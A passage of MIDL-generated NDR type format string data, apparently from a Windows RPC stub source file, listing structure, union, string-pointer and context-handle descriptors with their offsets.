*/\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2490 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2492 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2500) */\n/* 2494 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2496 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2498 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2500 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2502 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2504 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2506 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2508 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2510 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2512 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2514 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2516) */\n/* 2516 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2518 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2520 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2522 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2530) */\n/* 2524 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2526 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2528 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2530 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2532 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2534 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2536 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2538) */\n/* 2538 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2540 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2544 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2552) */\n/* 2546 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2548 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2550 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2552 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2554 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2556 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2558 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2560 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2562 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2564 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2566 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2566) */\n/* 2568 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2570 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2572 */\tNdrFcShort( 0xff62 ),\t/* Offset= -158 (2414) */\n/* 2574 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2576 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2578 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2580) */\n/* 2580 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2582 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2586 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2592) */\n/* 2588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2590 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2592 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2594 */\tNdrFcShort( 0xf5f0 ),\t/* Offset= -2576 (18) */\n/* 2596 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2598 */\tNdrFcShort( 0x56 ),\t/* Offset= 86 (2684) */\n/* 2600 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2602 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2604 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2606 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2608 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2610 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2614 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2618 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2620) */\n/* 2620 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2622 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2624 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2628 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2638) */\n/* 2630 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2634 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (2656) */\n/* 2636 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2635) */\n/* 2638 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2640 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2642) */\n/* 2642 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2644 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2646 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2648 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2652) */\n/* 2650 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2652 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2654 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2656 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2658 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2660) */\n/* 2660 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2662 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2664 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2666 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2672) */\n/* 2668 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2670 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2672 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2674 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2676 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2678 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2680 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2682 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2684 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2686 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2688 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2690 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2690) */\n/* 2692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2694 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2696 */\tNdrFcShort( 0xffa0 ),\t/* Offset= -96 (2600) */\n/* 2698 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2700 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2702 */\tNdrFcShort( 0x1de ),\t/* Offset= 478 (3180) */\n/* 2704 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0xd,\t\t/* FC_ENUM16 */\n/* 2706 */\t0x6,\t\t/* Corr desc: FC_SHORT */\n\t\t\t0x0,\t\t/*  */\n/* 2708 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2710 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2712 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2714 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2722 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2724) */\n/* 2724 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2726 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 2728 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2732 */\tNdrFcShort( 0xf556 ),\t/* Offset= -2730 (2) */\n/* 2734 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2738 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 2740 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2744 */\tNdrFcShort( 0x800b ),\t/* Simple arm type: FC_HYPER */\n/* 2746 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 2750 */\tNdrFcShort( 0x8002 ),\t/* Simple arm type: FC_CHAR */\n/* 2752 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 2756 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (2784) */\n/* 2758 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 2762 */\tNdrFcShort( 0xf55e ),\t/* Offset= -2722 (40) */\n/* 2764 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 2768 */\tNdrFcShort( 0xf83a ),\t/* Offset= -1990 (778) */\n/* 2770 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 2774 */\tNdrFcShort( 0xc8 ),\t/* Offset= 200 (2974) */\n/* 2776 */\tNdrFcLong( 0x9 ),\t/* 9 */\n/* 2780 */\tNdrFcShort( 0x136 ),\t/* Offset= 310 (3090) */\n/* 2782 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2781) */\n/* 2784 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2786 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2790 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2796) */\n/* 2792 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2794 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2796 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2798 */\tNdrFcShort( 0xf636 ),\t/* Offset= -2506 (292) */\n/* 2800 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2802 */\t0x0,\t\t/* Corr desc:  field,  */\n\t\t\t0x5d,\t\t/* FC_EXPR */\n/* 2804 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2806 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2808 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2810 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2814 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2818 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2820) */\n/* 2820 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2822 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 2824 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2828 */\tNdrFcShort( 0x32 ),\t/* Offset= 50 (2878) */\n/* 2830 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2834 */\tNdrFcShort( 0x3c ),\t/* Offset= 60 (2894) */\n/* 2836 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 2840 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2784) */\n/* 2842 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2846 */\tNdrFcShort( 0xf50a ),\t/* Offset= -2806 (40) */\n/* 2848 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 2852 */\tNdrFcShort( 0xf7e6 ),\t/* Offset= -2074 (778) */\n/* 2854 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2853) */\n/* 2856 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2858 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2860 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 2862 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2864 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2866 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2868 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2872 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2876 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2878 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2880 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2882 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2884 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2890) */\n/* 2886 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2888 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2890 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2892 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (2856) */\n/* 2894 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2896 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2898 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2900 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2902 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2904 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2906 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2906) */\n/* 2908 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 2910 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2912 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2914 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff8d ),\t/* Offset= -115 (2800) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2918 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2922 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2924 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2926 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2928 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2930 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2934 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2938 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2942 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2944 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2946 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2950 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2954 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2956 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2900) */\n/* 2958 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2960 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2962 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2964 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (2918) */\n/* 2966 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2966) */\n/* 2968 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2970 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2972 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2974 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2976 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2980 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2984) */\n/* 2982 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2984 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2986 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (2960) */\n/* 2988 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2990 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2992 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2994 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 2996 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2998 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3000 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3004 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3008 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3010 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3012 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3014 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3016 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (3026) */\n/* 3018 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3020 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3022 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3024 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3026 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3028 */\tNdrFcShort( 0xffd8 ),\t/* Offset= -40 (2988) */\n/* 3030 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3032 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3034 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3036 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3038 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3040 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3042 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3046 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3050 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3054 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3056 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3058 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3062 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3066 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3068 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (3010) */\n/* 3070 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3072 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3074 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3076 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3078 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3086) */\n/* 3080 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3082 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3084 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3086 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3088 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (3030) */\n/* 3090 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3092 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3094 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3096 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3100) */\n/* 3098 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3100 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3102 */\tNdrFcShort( 0xffe2 ),\t/* Offset= -30 (3072) */\n/* 3104 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3106 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3108 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3110 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3110) */\n/* 3112 */\t0xd,\t\t/* FC_ENUM16 */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3114 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3116 */\tNdrFcShort( 0xfe64 ),\t/* Offset= -412 (2704) */\n/* 3118 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3120 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3122 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 3124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3126 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3134) */\n/* 3128 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3130 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe5 ),\t/* Offset= -27 (3104) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3134 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3136 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3138 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 3140 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3142 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3144 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3146 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3148 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3150 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3154 */\tNdrFcLong( 0x32 ),\t/* 50 */\n/* 3158 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3162 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3164 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3166 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3170 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3174 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3176 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3120) */\n/* 3178 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3180 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3182 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3184 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3186 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3192) */\n/* 3188 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3190 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3192 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3194 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3138) */\n/* 3196 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3198 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3200) */\n/* 3200 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 3202 */\t0x2,\t\t/* 2 */\n\t\t\t0x1,\t\t/* 1 */\n/* 3204 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3206 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3208) */\n/* 3208 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 3210 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3212 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 3214 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3216 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 3218 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3220) */\n/* 3220 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3222 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (3180) */\n/* 3224 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP 